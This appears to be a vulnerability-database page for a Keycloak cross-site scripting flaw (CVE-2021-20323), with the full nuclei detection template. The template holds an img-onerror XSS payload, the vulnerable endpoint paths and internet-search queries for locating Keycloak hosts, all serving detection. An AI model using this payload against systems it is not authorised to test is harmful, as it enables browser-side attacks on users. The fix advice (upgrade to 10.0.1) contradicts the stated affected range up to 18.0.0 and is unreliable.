HexBrain

Browse / CVEs / CVE-2021-20323

CVE-2021-20323· redhat / keycloak· CWE-79

Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
37.2%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade Keycloak to a version that is not affected by the vulnerability (10.0.1 or higher).

How to confirm it

Send: POST {{BaseURL}}/auth/realms/master/clients-registrations/default ; POST {{BaseURL}}/auth/realms/master/clients-registrations/openid-connect ; POST {{BaseURL}}/realms/master/clients-registrations/default ; POST {{BaseURL}}/realms/master/clients-registrations/openid-connect
Positive when: contains "Unrecognized field \"Test<img src=x onerror=alert(document.d…" AND contains in header "text/html" AND status 400

Run it with nuclei: nuclei -id CVE-2021-20323 -u <target>

The full check
id: CVE-2021-20323

info:
  name: Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting
  author: ndmalc,incogbyte
  severity: medium
  description: |
    Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Keycloak to a version that is not affected by the vulnerability (10.0.1 or higher).
  reference:
    - https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
    - https://bugzilla.redhat.com/show_bug.cgi?id=2013577
    - https://access.redhat.com/security/cve/CVE-2021-20323
    - https://github.com/ndmalc/CVE-2021-20323
    - https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20323
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-20323
    cwe-id: CWE-79
    epss-score: 0.37246
    epss-percentile: 0.98536
    cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: redhat
    product: keycloak
    shodan-query:
      - html:"Keycloak"
      - http.title:"keycloak"
      - http.html:"keycloak"
      - http.favicon.hash:-1105083093
    fofa-query:
      - title="keycloak"
      - icon_hash=-1105083093
      - body="keycloak"
    google-query: intitle:"keycloak"
  tags: cve2021,cve,keycloak,xss,redhat,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/auth/realms/master/clients-registrations/default"
      - "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"
      - "{{BaseURL}}/realms/master/clients-registrations/default"
      - "{{BaseURL}}/realms/master/clients-registrations/openid-connect"

    body: "{\"Test<img src=x onerror=alert(document.domain)>\":1}"
    stop-at-first-match: true

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 400

References

Use this check only on systems you are authorised to test. Where the data comes from